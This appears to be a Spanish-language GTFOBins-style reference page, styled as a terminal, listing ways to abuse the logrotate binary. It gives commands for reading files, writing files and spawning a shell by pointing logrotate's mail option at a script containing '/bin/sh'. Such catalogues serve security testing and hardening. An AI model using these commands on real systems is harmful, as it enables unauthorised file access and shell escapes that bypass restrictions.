root@defcon-rd // ./arsenal/gtfobins/logrotate
logrotate
./logrotate --examples
Funciones y ejemplos de uso
file-read
logrotate /path/to/input-file
file-write
logrotate -l /path/to/output-file DATA
shell
echo -e '/path/to/temp-file.config {\nmail [email protected]\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
./related --binary=logrotate
Binarios relacionados
Comparten al menos una función con logrotate.